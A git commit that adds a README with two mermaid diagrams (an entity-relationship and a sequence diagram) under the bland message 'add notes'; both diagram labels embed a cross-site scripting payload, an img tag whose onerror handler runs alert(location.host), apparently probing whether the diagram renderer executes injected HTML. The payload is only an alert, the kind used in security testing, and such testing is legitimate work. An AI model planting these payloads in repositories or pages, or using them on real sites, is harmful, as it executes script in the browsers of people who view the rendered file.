commit 021e5ed5628b803ef1028cf31fcef1e1cc341ac5
Author: secr45na3lg <secr45na3lg@example.com>
Date:   Sun Sep 27 10:12:50 2026 +0000

    add notes

diff --git a/README.md b/README.md
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index 0000000..9faf4df
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+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```